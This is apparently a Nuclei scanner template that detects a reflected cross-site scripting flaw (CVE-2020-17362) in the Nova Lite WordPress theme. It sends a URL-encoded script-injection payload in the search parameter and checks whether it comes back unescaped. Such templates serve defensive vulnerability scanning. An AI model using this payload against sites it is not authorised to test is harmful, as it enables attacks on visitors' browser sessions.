id: CVE-2020-17362

info:
  name: Nova Lite < 1.3.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Nova Lite version 1.3.9 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17362
    - https://themes.trac.wordpress.org/browser/nova-lite/1.3.9/readme.txt?rev=134076
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-17362
    cwe-id: CWE-79
    epss-score: 0.03855
    epss-percentile: 0.88367
    cpe: cpe:2.3:a:themeinprogress:nova_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: themeinprogress
    product: nova_lite
    framework: wordpress
  tags: cve2020,cve,wordpress,xss,wp-plugin,wpscan,unauth,themeinprogress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: body
        words:
          - "nova-lite"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f37697fa9ba11d646dd781ef1e9a4127c4a1c0b69bedfaa1863da401411f28eb022100c16b842bff2bfc0738c09826e375e8a2eb99f8341b2b009f1d4231df26fb308c:922c64590222798bb761d5b6d8e72950